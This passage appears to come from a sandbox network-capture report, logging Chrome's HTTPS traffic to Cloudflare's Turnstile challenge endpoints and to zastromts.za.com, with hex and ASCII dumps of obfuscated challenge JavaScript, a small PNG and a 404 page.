25 32 30 Data Ascii: an","turnstile_overrun_description":"Stuck%20here%3F","turnstile_footer_privacy":"Privacy","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 36 31 32 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 34 35 30 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 35 35 38 29 29 2f 38 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 39 34 31 29 29 2f 39 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 34 34 34 29 29 2f 31 30 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 33 38 36 29 29 2f 31 31 29 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 37 31 34 32 31 31 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 33 32 35 29 5d 2c 65 4f 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 67 4d 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 29 7b 66 6f 72 28 Data Ascii: 612))/6)+parseInt(gK(1450))/7(-parseInt(gK(558))/8)+-parseInt(gK(941))/9+parseInt(gK(444))/10(parseInt(gK(386))/11),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,714211),eM=this\|\|self,eN=eM[gL(325)],eO=function(c,gM,f,g,h,i,j,k){for(
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 46 29 7b 72 65 74 75 72 6e 20 45 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 7d 2c 27 6e 41 61 68 65 27 3a 67 51 28 31 37 31 39 29 2c 27 57 52 74 70 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 50 68 5a 6e 49 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 4d 61 64 70 67 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 42 4a 42 4d 75 27 3a 67 51 28 39 36 36 29 2c 27 51 55 77 52 64 27 3a 67 51 28 36 39 32 29 2c 27 4f 7a 6e 67 7a 27 3a 67 51 28 39 35 39 29 2c 27 75 53 72 55 4d 27 3a 67 51 28 31 30 37 30 29 7d 29 3b 74 72 79 7b 69 66 28 69 5b 67 51 28 31 31 37 38 29 5d 3d 3d 3d 69 5b 67 51 28 31 31 39 36 29 5d 29 69 5b 67 51 28 31 32 31 39 29 Data Ascii: F){return E instanceof F},'nAahe':gQ(1719),'WRtpM':function(E,F){return E+F},'PhZnI':function(E,F){return E+F},'Madpg':function(E,F){return E+F},'BJBMu':gQ(966),'QUwRd':gQ(692),'Ozngz':gQ(959),'uSrUM':gQ(1070)});try{if(i[gQ(1178)]===i[gQ(1196)])i[gQ(1219)
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 7d 7d 2c 65 4d 5b 67 4c 28 38 39 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 67 52 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 67 52 3d 67 4c 2c 65 3d 7b 27 78 4a 6a 59 63 27 3a 67 52 28 34 31 30 29 2c 27 76 4c 66 62 78 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 2c 27 6c 6c 43 72 64 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 3f 28 66 3d 64 5b 67 52 28 39 32 33 29 5d 2c 64 5b 67 52 28 31 38 32 32 29 5d 26 26 74 79 70 65 6f 66 20 64 5b 67 52 28 31 38 32 32 29 5d 3d 3d 3d 65 5b 67 52 28 36 34 33 29 5d 29 26 26 28 6a 3d 64 5b 67 52 28 31 38 32 32 29 5d 5b 67 52 28 36 36 30 29 5d 28 27 5c Data Ascii: }},eM[gL(890)]=function(d,gR,e,f,g,h,i,j,k,l,m){(gR=gL,e={'xJjYc':gR(410),'vLfbx':function(n,o){return n>o},'llCrd':function(n,o,s){return n(o,s)}},d instanceof Error)?(f=d[gR(923)],d[gR(1822)]&&typeof d[gR(1822)]===e[gR(643)])&&(j=d[gR(1822)][gR(660)]('\
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 64 3d 7b 27 79 55 68 65 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 4e 76 68 75 71 27 3a 68 4d 28 31 37 36 34 29 2c 27 46 49 70 6e 41 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 45 76 71 7a 65 27 3a 68 4d 28 31 31 36 32 29 2c 27 4b 6b 6e 47 50 27 3a 68 4d 28 31 34 32 31 29 2c 27 5a 5a 7a 6b 5a 27 3a 68 4d 28 31 32 33 39 29 7d 2c 65 3d 63 5b 68 4d 28 31 35 30 36 29 5d 2c 65 26 26 64 5b 68 4d 28 38 39 32 29 5d 28 65 5b 68 4d 28 36 37 33 29 5d 2c 68 4d 28 31 33 33 35 29 29 26 26 64 5b 68 4d 28 38 39 32 29 5d 28 65 5b 68 4d 28 31 36 32 39 29 5d 2c 64 5b 68 4d 28 34 31 31 29 5d 29 29 7b 69 66 28 68 4d 28 31 34 32 31 29 3d 3d 3d 64 5b 68 4d 28 31 31 39 37 29 5d 29 66 72 3d Data Ascii: d={'yUhel':function(f){return f()},'Nvhuq':hM(1764),'FIpnA':function(f,g){return f===g},'Evqze':hM(1162),'KknGP':hM(1421),'ZZzkZ':hM(1239)},e=c[hM(1506)],e&&d[hM(892)](e[hM(673)],hM(1335))&&d[hM(892)](e[hM(1629)],d[hM(411)])){if(hM(1421)===d[hM(1197)])fr=
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 2c 66 58 3d 30 3b 32 35 36 3e 66 58 3b 66 57 5b 66 58 5d 3d 53 74 72 69 6e 67 5b 67 4c 28 33 37 32 29 5d 28 66 58 29 2c 66 58 2b 2b 29 3b 67 4a 3d 28 66 59 3d 28 30 2c 65 76 61 6c 29 28 67 4c 28 34 35 34 29 29 2c 66 5a 3d 61 74 6f 62 28 67 4c 28 31 31 38 37 29 29 2c 67 70 3d 7b 7d 2c 67 70 5b 67 4c 28 31 36 37 33 29 5d 3d 27 6f 27 2c 67 70 5b 67 4c 28 34 31 30 29 5d 3d 27 73 27 2c 67 70 5b 67 4c 28 37 31 36 29 5d 3d 27 75 27 2c 67 70 5b 67 4c 28 34 32 32 29 5d 3d 27 7a 27 2c 67 70 5b 67 4c 28 31 31 31 30 29 5d 3d 27 6e 27 2c 67 70 5b 67 4c 28 36 36 37 29 5d 3d 27 49 27 2c 67 70 5b 67 4c 28 38 33 38 29 5d 3d 27 62 27 2c 67 71 3d 67 70 2c 65 4d 5b 67 4c 28 31 37 39 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 6a 61 2c 6f 2c 78 2c 42 2c 43 Data Ascii: ,fX=0;256>fX;fW[fX]=String[gL(372)](fX),fX++);gJ=(fY=(0,eval)(gL(454)),fZ=atob(gL(1187)),gp={},gp[gL(1673)]='o',gp[gL(410)]='s',gp[gL(716)]='u',gp[gL(422)]='z',gp[gL(1110)]='n',gp[gL(667)]='I',gp[gL(838)]='b',gq=gp,eM[gL(1795)]=function(g,h,i,j,ja,o,x,B,C
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 31 35 35 33 29 29 2c 69 5b 6a 61 28 31 33 39 38 29 5d 26 26 45 5b 6a 61 28 31 33 39 38 29 5d 5b 6a 61 28 34 31 35 29 5d 29 26 26 28 48 3d 7b 7d 2c 48 5b 6a 61 28 36 37 33 29 5d 3d 6f 5b 6a 61 28 38 38 32 29 5d 2c 48 5b 6a 61 28 33 37 33 29 5d 3d 46 5b 6a 61 28 35 38 39 29 5d 5b 6a 61 28 31 32 31 30 29 5d 2c 48 5b 6a 61 28 38 34 39 29 5d 3d 6a 61 28 31 35 35 33 29 2c 48 5b 6a 61 28 31 36 32 39 29 5d 3d 6a 61 28 33 37 34 29 2c 73 5b 6a 61 28 31 33 39 38 29 5d 5b 6a 61 28 34 31 35 29 5d 28 48 2c 27 2a 27 29 29 3b 72 65 74 75 72 6e 21 5b 5d 7d 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 6a 62 2c 49 2c 4a 29 7b 69 66 28 6a 62 3d 6a 61 2c 49 3d 7b 7d 2c 49 5b 6a 62 28 31 33 33 30 29 5d 3d 6f 5b 6a 62 28 34 37 30 29 5d 2c 4a 3d 49 2c Data Ascii: 1553)),i[ja(1398)]&&E[ja(1398)][ja(415)])&&(H={},H[ja(673)]=o[ja(882)],H[ja(373)]=F[ja(589)][ja(1210)],H[ja(849)]=ja(1553),H[ja(1629)]=ja(374),s[ja(1398)][ja(415)](H,'*'));return![]}return j;function s(G,H,jb,I,J){if(jb=ja,I={},I[jb(1330)]=o[jb(470)],J=I,
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 6e 20 68 3c 69 7d 2c 27 67 5a 71 44 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 58 4d 57 55 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6d 56 74 6c 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 47 79 6b 79 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 49 7a 57 52 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 54 74 4a 43 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 4a 52 45 50 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 77 70 47 65 Data Ascii: n h<i},'gZqDq':function(h,i){return h-i},'XMWUT':function(h,i){return h<<i},'mVtli':function(h,i){return h&i},'GykyO':function(h,i){return i==h},'IzWRU':function(h,i){return h==i},'TtJCm':function(h,i){return i==h},'JREPJ':function(h,i){return h(i)},'wpGe
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 6a 55 28 31 32 31 39 29 5d 5b 6a 55 28 37 39 34 29 5d 28 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 64 5b 6a 55 28 34 30 31 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 6a 2c 6a 56 29 7b 72 65 74 75 72 6e 20 6a 56 3d 6a 55 2c 6a 56 28 34 36 30 29 5b 6a 56 28 37 30 35 29 5d 28 6a 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 6a 57 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 52 2c 53 2c 54 2c 4c 2c 4d 2c 4e 2c 51 2c 55 2c 56 2c 57 2c 58 2c 59 2c 5a 2c 61 30 2c 61 31 2c 61 32 2c 61 33 2c 61 34 2c 61 35 2c 61 36 2c 61 37 2c 61 38 2c 61 39 2c 61 61 29 7b 69 66 28 6a 57 3d 6a 54 2c 73 3d 7b 27 46 41 76 42 50 27 3a 6a 57 28 31 33 39 38 29 2c 27 53 73 70 59 65 Data Ascii: jU(1219)][jU(794)]();else return d[jU(401)](null,h)?'':f.g(h,6,function(j,jV){return jV=jU,jV(460)[jV(705)](j)})},'g':function(i,j,o,jW,s,x,B,C,D,E,F,G,H,I,J,K,R,S,T,L,M,N,Q,U,V,W,X,Y,Z,a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,aa){if(jW=jT,s={'FAvBP':jW(1398),'SspYe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49709	104.18.95.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:23 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:23 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:23 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8dac6aee69a2485d-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49700	188.114.97.3	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:23 UTC	639	OUT	GET /favicon.ico HTTP/1.1 Host: zastromts.za.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zastromts.za.com/v3oX/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=mc0689n6mmc3k1455o5ersf901
2024-10-30 15:25:24 UTC	843	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 15:25:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, max-age=0 pragma: no-cache vary: Accept-Encoding CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YFF9K0pSThgn1k3xDR9bk2Bo1W02aZC%2FVD0u0PZzwqpxidOlTDI00%2FVHiqEZIfWFvW2BSMaI%2FIx6tbaSUiURgK9RqNfPKH%2BIAlWuht0lHe3HFa59OCHCwcW%2FoX19L0H7nNlp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6af0f852e51c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1217&delivery_rate=2507359&cwnd=249&unsent_bytes=0&cid=09322bfb964ccaed&ts=4162&x=0"
2024-10-30 15:25:24 UTC	526	IN	Data Raw: 34 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f Data Ascii: 4e1<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</
2024-10-30 15:25:24 UTC	730	IN	Data Raw: 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 Data Ascii: te; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></d
2024-10-30 15:25:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49710	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:24 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:24 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:24 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8dac6af33ffee962-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:24 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49711	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:24 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8dac6ae8de8646e3&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:24 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:24 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 124801 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8dac6af4cf9028e0-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:24 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 62 61 58 49 73 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.baXIs4={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 Data Ascii: turnstile_timeout":"Timed%20out","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 35 33 31 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 36 36 36 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 32 30 30 29 29 2f 38 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 35 37 34 29 29 2f 39 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 39 30 32 29 29 2f 31 30 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 34 34 36 29 29 2f 31 31 29 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 38 38 38 35 36 39 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 31 34 39 32 29 5d 2c 65 4d 5b 67 4c 28 33 37 32 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 4c 28 36 36 35 29 5d 3d 66 75 6e 63 Data Ascii: 531))/6(parseInt(gK(666))/7)+-parseInt(gK(1200))/8+parseInt(gK(1574))/9+-parseInt(gK(902))/10(-parseInt(gK(446))/11),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,888569),eM=this\|\|self,eN=eM[gL(1492)],eM[gL(372)]=![],eM[gL(665)]=func
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6a 5e 69 7d 2c 67 5b 68 58 28 31 34 39 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 2d 6a 7d 2c 67 5b 68 58 28 31 36 35 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 6a 3d 3d 3d 69 7d 2c 67 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 66 75 28 65 29 7d 63 61 74 63 68 28 69 29 7b 69 66 28 68 58 28 39 33 30 29 21 3d 3d 68 58 28 35 39 31 29 29 72 65 74 75 72 6e 20 66 73 28 66 74 28 65 29 29 3b 65 6c 73 65 7b 66 6f 72 28 6b 3d 68 5b 68 58 28 34 32 34 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 32 36 2e 33 33 5d 5b 33 5d 2c 68 5b 68 58 28 37 33 32 29 5d 28 68 5b 68 58 28 31 35 32 39 29 5d 28 74 68 69 73 2e 68 5b 68 5b 68 58 28 31 34 30 37 29 5d 28 31 32 36 2c 74 68 69 73 2e Data Ascii: return j^i},g[hX(1497)]=function(i,j){return i-j},g[hX(1652)]=function(i,j){return j===i},g);try{return fu(e)}catch(i){if(hX(930)!==hX(591))return fs(ft(e));else{for(k=h[hX(424)](this.h[this.g^126.33][3],h[hX(732)](h[hX(1529)](this.h[h[hX(1407)](126,this.
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 37 29 5d 5b 68 59 28 31 36 30 35 29 5d 28 63 5b 68 59 28 34 30 36 29 5d 28 32 2c 64 29 2c 33 32 29 2c 65 4d 5b 68 59 28 31 30 38 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 5a 29 7b 69 66 28 68 5a 3d 68 59 2c 63 5b 68 5a 28 39 39 35 29 5d 28 68 5a 28 32 36 39 29 2c 63 5b 68 5a 28 31 31 38 37 29 5d 29 29 7b 69 66 28 68 28 29 3d 3d 3d 31 29 72 65 74 75 72 6e 20 76 6f 69 64 28 63 5b 68 5a 28 32 36 31 29 5d 28 6d 2c 63 5b 68 5a 28 36 35 32 29 5d 2c 68 5a 28 36 30 30 29 29 2c 6e 28 68 5a 28 34 30 39 29 2c 63 5b 68 5a 28 31 36 31 31 29 5d 29 29 3b 6b 28 63 5b 68 5a 28 31 33 36 35 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 73 2c 69 30 29 7b 69 30 3d 68 5a 2c 73 5b 69 30 28 31 36 39 37 29 5d 5b 69 30 28 38 35 32 29 5d 28 69 30 28 31 31 35 34 29 29 7d 29 2c 6c 28 63 5b 68 Data Ascii: 